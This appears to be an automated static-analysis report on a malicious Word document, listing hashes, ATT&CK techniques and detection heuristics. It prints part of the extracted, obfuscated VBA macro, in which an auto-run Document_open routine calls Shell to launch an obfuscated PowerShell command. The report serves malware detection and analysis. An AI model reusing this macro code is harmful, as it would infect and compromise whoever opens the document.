Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e2f0a2e174d3acee…

MALICIOUS

Office (OLE)

129.2 KB Created: 2018-06-14 17:18:00 Authoring application: Microsoft Office Word First seen: 2019-01-31
MD5: 8bbf62fd123e1e310b40e555bb220912 SHA-1: 21e755ca1f97207bf1e9ec9562d707b0e7a41646 SHA-256: e2f0a2e174d3aceeef5a0c03a38c6e6c149e0d696ca7c5a472a50c4d966f0a0a
162 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open macro that utilizes the Shell() function to execute arbitrary commands. The script appears to be heavily obfuscated, but the presence of the Shell() call strongly suggests it's designed to download and execute a secondary payload. The specific URL found, while benign, is likely a placeholder or part of the obfuscation.

Heuristics 5

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 17568 bytes
SHA-256: 8b15694e8cdd980631c9e4459727856e0fe3bffd59b0fe7d016e2f56e2eccf2f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "mqIRrXppKFDzdN"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function ptUoFSuTKRr()
On Error Resume Next
vHEoT = Sqr(22150)
nVFqq = NnZKw
uriAWB = 17925 + ErNBB + (44244 * CDbl(ncBDz) - zUZGmH / CSng(38593) - ZiEjX / Hex(lHHra) + 11897 - 94316)
KXHBAu = Jujtp - fIJUiW / 55054 / VKdqdv - 223327908 + Hex(RBwoI) * PLzfWF - Round(27452)
pnvCf = Sqr(39494)
NIjQDZ = wkJwit
NiKWzw = 83278 + kFjGQz + (22340 * CDbl(HROiIB) - ZZWlTR / CSng(78330) - ZsazSU / Hex(GPGUXa) + 69677 - 95281)
jMhkz = NYawNH - pAsTH / 20512 / bniWpc - 223327908 + Hex(vjVmM) * hullk - Round(5279)
RLbEYa = Sqr(74943)
BiuaMd = TpubuU
kshLv = 40207 + RrFJB + (3680 * CDbl(vPHjEh) - stDJMs / CSng(87586) - ltrrj / Hex(BDaphN) + 68439 - 82420)
pnXszd = icWLG - SKSjt / 21587 / uXTNBE - 223327908 + Hex(wloVjw) * BDLEB - Round(50241)
QqtdU = Sqr(66198)
GErYk = wBJUiO
zSTJq = 90793 + DzoBiH + (17694 * CDbl(GGfrl) - oScpQ / CSng(51071) - wcTqRt / Hex(ijBNG) + 67108 - 39949)
CpndzI = rUZUD - VVKNO / 8331 / WERkCn - 223327908 + Hex(BmwnFF) * ZiDow - Round(92202)
ptUoFSuTKRr = mwLbaJlaQS + VBA.Shell(jlcrSGkIGp + Chr(rOAZznNmGs + vbKeyP + niKmPUCiThW) + "owers" + SJtXvUMX + HZWIoG + pWjILuNBtd + hUoPD + fVqUcOjbiV + klSFHXQAq, 6356 - 6356)
XjJsE = Sqr(44704)
shomfO = ufjPQA
zXCbJ = 57308 + FYmOwE + (91701 * CDbl(HYRIzi) - dwWZr / CSng(13596) - PXpEi / Hex(GAMnSj) + 74887 - 18004)
zHBsa = DEjmrw - PYuZT / 68908 / MiqQr - 223327908 + Hex(bbqPz) * jIZhD - Round(73163)
UtksCa = Sqr(853)
MzHDf = oAmwmk
UQvSR = 70680 + MScOT + (75788 * CDbl(OApqqn) - XKEaK / CSng(48269) - MpcDf / Hex(iTNGQS) + 71166 - 77481)
HvzFzG = sGLwzc - LnMGun / 67142 / YCidpL - 223327908 + Hex(SWcMtV) * hVlNW - Round(28127)
End Function
Private Sub Document_open()
On Error Resume Next
qiqobA = Sqr(93337)
GmoRV = wfwjNN
XvaUQf = 3742 + oVnjiD + (11961 * CDbl(UjQURR) - qLUdt / CSng(74397) - vzfojm / Hex(RzrMUR) + 32511 - 2439)
PFfkIw = IBOan - qTTwD / 68150 / Hwzwo - 223327908 + Hex(dwCzzv) * mYiGK - Round(16520)
OoLcNh = Sqr(40756)
pESDq = fzKWs
QXlTG = 64348 + jTDFEO + (59132 * CDbl(RSpNlu) - jDdwHb / CSng(95525) - njFbif / Hex(FYZOc) + 63849 - 73041)
Gchoi = JZUipP - wmzFQ / 25095 / nXSBz - 223327908 + Hex(OHwwj) * SWwzzr - Round(35445)
ptUoFSuTKRr
YvwYV = Sqr(29704)
Oztur = YPBMX
UDVjKf = 82439 + aBdVwt + (95157 * CDbl(AnCOw) - DodYKb / CSng(62067) - GkbmbO / Hex(OpRAp) + 79209 - 24023)
JIzXA = FlVPwb - ttMSiD / 72235 / kOIIqS - 223327908 + Hex(cMCKj) * aTmDOS - Round(17708)
XGVMJD = Sqr(18360)
wksNQ = ijfpSd
ZuqPJ = 29709 + JJMls + (7211 * CDbl(aZOUk) - vndQuZ / CSng(80180) - tjMsFc / Hex(ZwoED) + 16962 - 88618)
VhBTl = aUjZZ - cztma / 35451 / daPhT - 223327908 + Hex(AFKZN) * XkPrLE - Round(17564)
End Sub


Attribute VB_Name = "IWTUdjiKY"
Function SJtXvUMX()
On Error Resume Next
LEafrj = 38163 + uwfLGz + (47314 * CDbl(NnjEG) - OBEnR / CSng(94466) - MjdcT / Hex(ubdWm) + 31090 - 32161)
FmUYp = ZaEPWK - QBjnud / 83638 / RuoppA - 223327908 + Hex(VINzS) * arHuN - Round(9957)
bKUvlA = SVtTY
NpjfDz = Sqr(99980)
iFwqjCJNC = "HeLL  . ( $EnV:" + "COMs" + "peC[4,15,25]" + "-j" + "OIN'" + "')(" + "-JOin " + "( [cHAr[]] ( 32" + " , 74,92 , " + "110 , 73 , 6"
Xnrfi = 98543 + NFwBYr + (55292 * CDbl(JcsjYp) - zYujrD / CSng(47019) - PFcKh / Hex(AbLOQo) + 92913 - 41992)
bwSpoS = zIlokj - whvCJA / 62840 / IBldE - 223327908 + Hex(UUuuzQ) * frswhq - Round(23170)
CSWtG = znzsIV
UOWId = Sqr(45871)
CdIiRKdYD = "9 ,36 , 57," + "36 , 106,9" + "7 , 115 ,41,107" + ",102,110,97 "
IoRDK = 27272 + inqun + (30752 * CDbl(QpCDb) - UMcCa / CSng(77125) - CntoaZ / Hex(UqapoT) + 61986 - 63591)
YCsOww = OcWhI - tBUNSw / 50041 / MOIdn - 223327908 + Hex(ozCOcv) * VmhLwY - Round(60111)
fzLpX = hbGUX
oFXZE = Sqr(13336)
XIjrRwATcH = ",103 , " + "112, 36 " + ", 118" + ",101, " + "106 " + ",96 ,107,105,63" + " ,3" + "2,"
dLnkkK = 5275 + RZHEM + (93943 * CDbl(
... (truncated)